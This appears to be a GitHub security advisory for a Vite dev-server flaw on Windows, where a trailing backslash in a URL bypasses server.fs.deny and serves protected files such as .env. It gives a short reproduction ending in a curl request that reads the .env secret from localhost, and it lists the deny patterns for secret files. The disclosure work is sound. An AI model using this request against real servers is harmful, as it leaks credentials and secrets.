Files denied by <code>server.fs.deny</code> were sent if the URL ended with \ when the dev server is running on Windows.
Only apps that match the following conditions are affected:
server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173
<img width="1593" height="616" alt="image" src="https://github.com/user-attachments/assets/36212f4e-1d3c-4686-b16f-16b35ca9e175" />
{
"nvd_published_at": "2025-10-20T20:15:37Z",
"github_reviewed": true,
"github_reviewed_at": "2025-10-20T19:54:28Z",
"severity": "MODERATE",
"cwe_ids": [
"CWE-22"
]
}